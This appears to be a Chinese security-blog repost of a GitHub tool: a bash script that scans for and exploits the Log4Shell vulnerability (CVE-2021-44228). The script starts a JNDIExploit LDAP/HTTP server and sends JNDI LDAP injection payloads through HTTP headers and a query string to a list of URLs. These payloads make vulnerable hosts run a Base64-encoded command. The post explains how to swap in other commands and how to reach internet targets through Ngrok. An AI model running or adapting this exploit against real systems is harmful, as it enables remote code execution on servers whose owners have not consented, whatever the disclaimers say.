一个bash脚本可以远程识别Log4j CVE-2021-44228漏洞

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/julian911015/Log4j-Scanner-Exploit

Log4Shell-Scanner-Exploit

一个bash脚本,允许远程识别和/或利用Log4shell漏洞。该工具使用LDAP有效载荷和X-Api-Version、User-Agent和X-Forwarded-For标头进行了若干测试。

 

在使用这个脚本时,一定要事先得到被审计服务/应用的所有者的授权。

sh脚本

Log4Shell_Scanner.sh

#! /bin/bash

# *****************************************************************************************************************
# Script en bash que permite identificar y/o explotar la vulnerabilidad Log4shell de forma remota.
# Autor: Julian David Delgado Piraquive - H4ggen
# Siempre utilizar este script con la autorización previa del propietario del servicio o aplicación auditada
# ¡Hack your Mind!
# *****************************************************************************************************************

# Debes ingresar los siguientes parámetros:
#	1. Diccionario de URLs a escanear
#	2. Dirección IP del servidor LDAP
#	3. Puerto servidor LDAP
#	4. Dirección IP servidor HTTP
#	5. Puerto servidor HTTP
#	EJEMPLO /Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>


trap ctrl_c INT #Función salir con Control+C

function ctrl_c(){
    tput cnorm
    echo -e "\n\n[!] Saliendo..."
    kill %
    exit 1
}

EJEMPLO="./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>"

if [ -z "$1" ];then
	      echo -e '\e[0;31mFALTAN DATOS!\e[0m Por favor indique el diccionario de URLs a escanear.'
	      echo $EJEMPLO

elif [ -z "$2" ];then
        echo -e '\e[0;31mFALTAN DATOS!\e[0m Por favor indique la IP del servidor LDAP.'
        echo $EJEMPLO

elif [ -z "$3" ];then
        echo -e '\e[0;31mFALTAN DATOS!\e[0m Por favor indique el Puerto servidor LDAP.'
        echo $EJEMPLO

elif [ -z "$4" ];then
        echo -e '\e[0;31mFALTAN DATOS!\e[0m Por favor indique la IP del servidor HTTP.'
        echo $EJEMPLO

elif [ -z "$5" ];then
        echo -e '\e[0;31mFALTAN DATOS!\e[0m Por favor indique el Puerto del servidor HTTP.'
        echo $EJEMPLO
                
else
	echo -e '\e[1;34mEl diccionario de URLs seleccionado es:\e[0m' $1 
	echo -e '\e[1;34mEl servidor LDAP seleccionado es:\e[0m' $2':'$3
	echo -e '\e[1;34mEl servidor HTTP seleccionado es:\e[0m' $4':'$5
 	echo -e '\n\e[1;34mIniciando Servidor LDAP y HTTP:\e[0m'


# Para analizar aplicaciones en internet puedes utilizar Ngrok, lo único que debes hacer es quitar el parámetro "-l $3" de la siguiente linea:

	java -jar JNDIExploit-1.2-SNAPSHOT.jar -l $3 -i $4 -p $5 & 1> /dev/null 
	
	sleep 5
	
	echo -e '\n\e[1;34mIniciando Análisis utilizando X-Api-Version, User-Agent, X-Forwarded-For y LDAP Payload:\e[0m'

payloadheader='${jndi:ldap://'$2':'$3'/Basic/Command/Base64/aWZjb25maWc=}'
payload='?foo=$\{jndi:ldap://'$2':'$3'/Basic/Command/Base64/aWZjb25maWc=\}'


while read line;do
	echo -e '\e[1;34mEscaneando\e[0m: '$line

	curl -s --max-time 5 $line -H 'X-Api-Version: '$payloadheader'' > /dev/null 
	
	curl -s --max-time 5 $line -H 'User-Agent: '$payloadheader}'' > /dev/null 
	
	curl -s --max-time 5 $line -H 'X-Forwarded-For: '$payloadheader}'' > /dev/null 
	
	curl -s --max-time 5 "$line$payload" > /dev/null 
	
	sleep 1
	
done < $1 
fi
kill %
exit

 

依赖性

  • 下载并解压以下文件以启动LDAP和HTTP服务器:http://tiny.cc/t0smuz
  • 安装了Java,你可以使用的命令sudo apt install default-jre
  • 已安装Curl ,你可以使用的命令sudo apt-get install curl

使用实例

输入以下参数

  • 要扫描的URL列表
  • LDAP服务器的IP地址
  • LDAP服务器端口
  • HTTP服务器的IP地址
  • HTTP服务器端口

在内部网络上扫描应用程序的例子

./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

9355366b52193046

互联网上的应用扫描实例

./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

bc8386a365193128

澄清

所用的有效载荷向被确定为易受攻击的机器发送 "ifconfig "命令,这个有效载荷是Base64编码的,可以被修改以在五次测试审计中执行利用阶段。如果你想在互联网服务上使用该工具,你可以启动一个Ngrok服务,做一个端口转发到LDAP服务器的本地端口。

始终在事先得到被分析的服务/应用的所有者授权的情况下使用这个脚本。

标签:工具分享, 漏洞分享, 扫描工具, java安全, log4j